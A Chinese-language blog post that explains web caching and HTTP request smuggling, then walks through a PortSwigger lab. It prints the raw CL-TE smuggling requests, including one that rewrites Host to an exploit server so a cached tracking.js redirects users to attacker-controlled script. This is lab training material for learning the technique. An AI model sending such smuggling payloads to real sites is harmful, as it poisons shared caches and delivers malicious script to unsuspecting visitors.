草庐IT

Http-Sumggling缓存漏洞分析

蚁景科技 2023-03-28 原文

当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。

在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。

什么是Web缓存

WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。

缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:

  • 后端程序缓存

  • 服务器缓存

  • 浏览器缓存

  • 缓存服务器

  • CDN缓存

最常见的无疑就是CDN及其类似的缓存服务器。

而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。

什么是web缓存漏洞

如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。

这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。

如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

Http Sumggling

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。

一般可分为以下几种:

  • CL: Content-Length

  • TE: Transfer-Encoding

  • CL不为0的GET请求

  • CL-CL

  • CL-TE

  • TE-CL

  • TE-TE

mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。

https://paper.seebug.org/1048/#35-te-te

Http Sumggling 缓存漏洞

靶场

依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。

解法

判断是否存在走私,确定为CL-TE。

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
​
0
​
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
​
x=1

 

第一次请求为:

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked​

第二次请求为下半段:

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
​
x=1

可以看到存在302跳转。

然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。

可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。

  • 先点击send post包

    POST / HTTP/1.1
    Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 195
    Transfer-Encoding: chunked
    ​
    0
    ​
    GET /post/next?postId=3 HTTP/1.1
    Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10
    ​
    x=1

    访问到第一部分:

  • 然后在/resources/js/tracking.js send包:

    可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。

  • 对原界面进行抓包,多抓几次。

    发现host成功变为我们的exploit。

后言

漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。

更多靶场实验练习、网安学习资料,请点击这里>>

有关Http-Sumggling缓存漏洞分析的更多相关文章

  1. ruby - 如何模拟 Net::HTTP::Post? - 2

    是的,我知道最好使用webmock,但我想知道如何在RSpec中模拟此方法:defmethod_to_testurl=URI.parseurireq=Net::HTTP::Post.newurl.pathres=Net::HTTP.start(url.host,url.port)do|http|http.requestreq,foo:1endresend这是RSpec:let(:uri){'http://example.com'}specify'HTTPcall'dohttp=mock:httpNet::HTTP.stub!(:start).and_yieldhttphttp.shou

  2. ruby - 如何在 Ubuntu 中清除 Ruby Phusion Passenger 的缓存? - 2

    我试过重新启动apache,缓存的页面仍然出现,所以一定有一个文件夹在某个地方。我没有“公共(public)/缓存”,那么我还应该查看哪些其他地方?是否有一个URL标志也可以触发此效果? 最佳答案 您需要触摸一个文件才能清除phusion,例如:touch/webapps/mycook/tmp/restart.txt参见docs 关于ruby-如何在Ubuntu中清除RubyPhusionPassenger的缓存?,我们在StackOverflow上找到一个类似的问题:

  3. ruby-on-rails - Ruby on Rails 计数器缓存错误 - 2

    尝试在我的RoR应用程序中实现计数器缓存列时出现错误Unknownkey(s):counter_cache。我在这个问题中实现了模型关联:Modelassociationquestion这是我的迁移:classAddVideoVotesCountToVideos0Video.reset_column_informationVideo.find(:all).eachdo|p|p.update_attributes:videos_votes_count,p.video_votes.lengthendenddefself.downremove_column:videos,:video_vot

  4. ruby - Net::HTTP 获取源代码和状态 - 2

    我目前正在使用以下方法获取页面的源代码:Net::HTTP.get(URI.parse(page.url))我还想获取HTTP状态,而无需发出第二个请求。有没有办法用另一种方法做到这一点?我一直在查看文档,但似乎找不到我要找的东西。 最佳答案 在我看来,除非您需要一些真正的低级访问或控制,否则最好使用Ruby的内置Open::URI模块:require'open-uri'io=open('http://www.example.org/')#=>#body=io.read[0,50]#=>"["200","OK"]io.base_ur

  5. Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting - 2

    1.错误信息:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:requestcanceledwhilewaitingforconnection(Client.Timeoutexceededwhileawaitingheaders)或者:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:TLShandshaketimeout2.报错原因:docker使用的镜像网址默认为国外,下载容易超时,需要修改成国内镜像地址(首先阿里

  6. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  7. ruby-on-rails - Rails - 从命名路由中提取 HTTP 动词 - 2

    Rails中有没有一种方法可以提取与路由关联的HTTP动词?例如,给定这样的路线:将“users”匹配到:“users#show”,通过:[:get,:post]我能实现这样的目标吗?users_path.respond_to?(:get)(显然#respond_to不是正确的方法)我最接近的是通过执行以下操作,但它似乎并不令人满意。Rails.application.routes.routes.named_routes["users"].constraints[:request_method]#=>/^GET$/对于上下文,我有一个设置cookie然后执行redirect_to:ba

  8. ruby-on-rails - Heroku 吃掉了我的自定义 HTTP header - 2

    我正在使用Heroku(heroku.com)来部署我的Rails应用程序,并且正在构建一个iPhone客户端来与之交互。我的目的是将手机的唯一设备标识符作为HTTPheader传递给应用程序以进行身份​​验证。当我在本地测试时,我的header通过得很好,但在Heroku上它似乎去掉了我的自定义header。我用ruby​​脚本验证:url=URI.parse('http://#{myapp}.heroku.com/')#url=URI.parse('http://localhost:3000/')req=Net::HTTP::Post.new(url.path)#boguspara

  9. ruby-on-rails - 使用 HTTP.get_response 检索 Facebook 访问 token 时出现 Rails EOF 错误 - 2

    我试图在我的网站上实现使用Facebook登录功能,但在尝试从Facebook取回访问token时遇到障碍。这是我的代码:ifparams[:error_reason]=="user_denied"thenflash[:error]="TologinwithFacebook,youmustclick'Allow'toletthesiteaccessyourinformation"redirect_to:loginelsifparams[:code]thentoken_uri=URI.parse("https://graph.facebook.com/oauth/access_token

  10. ruby - HTTP 请求中的用户代理,Ruby - 2

    我是Ruby的新手。我试过查看在线文档,但没有找到任何有效的方法。我想在以下HTTP请求botget_response()和get()中包含一个用户代理。有人可以指出我正确的方向吗?#PreliminarycheckthatProggitisupcheck=Net::HTTP.get_response(URI.parse(proggit_url))ifcheck.code!="200"puts"ErrorcontactingProggit"returnend#Attempttogetthejsonresponse=Net::HTTP.get(URI.parse(proggit_url)

随机推荐